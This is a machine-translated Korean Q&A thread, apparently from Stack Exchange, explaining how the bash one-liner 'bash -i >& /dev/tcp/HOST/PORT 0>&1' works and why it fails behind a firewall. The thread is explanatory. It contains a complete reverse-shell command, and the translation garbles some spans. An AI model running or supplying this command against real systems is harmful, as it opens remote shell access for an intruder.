bash -i> & / dev / tcp / HOST / PORT 0> & 1의 의미?


15

나는 시도했다

bash -i >& /dev/tcp/HOST/PORT 0>&1

그러나 방화벽 뒤에서는 작동하지 않는 것 같습니다. 이 코드는 실제로 어떤 포트가 전달되며 방화벽 뒤에서 작동 할 수 있습니까?

답변:


17

이 스 니펫은 bash -ibash 프로세스 동안 작성된 지정된 호스트의 지정된 포트에 대한 TCP 연결에서 bash ( ) 의 새 대화식 인스턴스를 실행합니다 . 이 연결을 통해 표준 출력 및 표준 오류가 전송 >& /dev/tcp/HOST/PORT되고 ( ) 이 연결을 통해 표준 입력을 읽습니다 ( 0>&10<&1그렇지만 0>&1작동 해야 함 ).

포트 전달이 진행되지 않습니다. 분명히 어떤 종류의 TCP 서버는 해당 HOST : PORT에서 연결을 수신하고 수락해야하며 방화벽은 연결을 통과해야합니다.


'/ dev / tcp / HOST / PORT'는 어떤 연결입니까? 호스트는 어디에 정의되어 있고 포트는 어디에 정의되어 있습니까?
HELOS

2
@Helos 문자 그대로 보셨습니까 /dev/tcp/HOST/PORT? 나는 당신이 이름을 HOST숫자 로 바꾸 었다고 가정했다 PORT. 그렇지 않으면 bash에서 오류 메시지가 나타납니다. 오류 메시지를 언급하지 않았으므로 오류 메시지가 표시되지 않은 것으로 가정합니다.
Gilles 'SO- 악한 중지'

1
@Gilles, 나는 그 0<&1부분을 소화 할 수 없다 . 나는 그것을 'bash stdout ( &1)을 가져 와서 bash stdin ( 0) 으로 파이프하십시오 '라고 읽습니다 . 이 부분이 어떻게 작동하는지 설명해 주시겠습니까?
golem 2016 년

5
@golem 이것은 리디렉션입니다. 파이프가 없습니다. 0<&1이전의 리디렉션은 >& /dev/tcp/HOST/PORTfd 1 (출력 리디렉션의 기본값)을 /dev/tcp/HOST/PORT에 연결하여 TCP 소켓을 열었 으므로 TCP 연결을 파일 설명자 0에 복제합니다 (예 : 동일한 소켓은 이제 fd 0에서도 열려 있습니다. 이것은 동일한 서버에 다른 소켓을 여는 0 </ dev / tcp / HOST / PORT와 다릅니다.
Gilles 'SO- 악마 그만해'

연결 은 내 이해의 키워드였습니다. 프로세스 배관 을 호출하는 것은 실제로 나를 혼란스럽게 한 것입니다.
golem
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.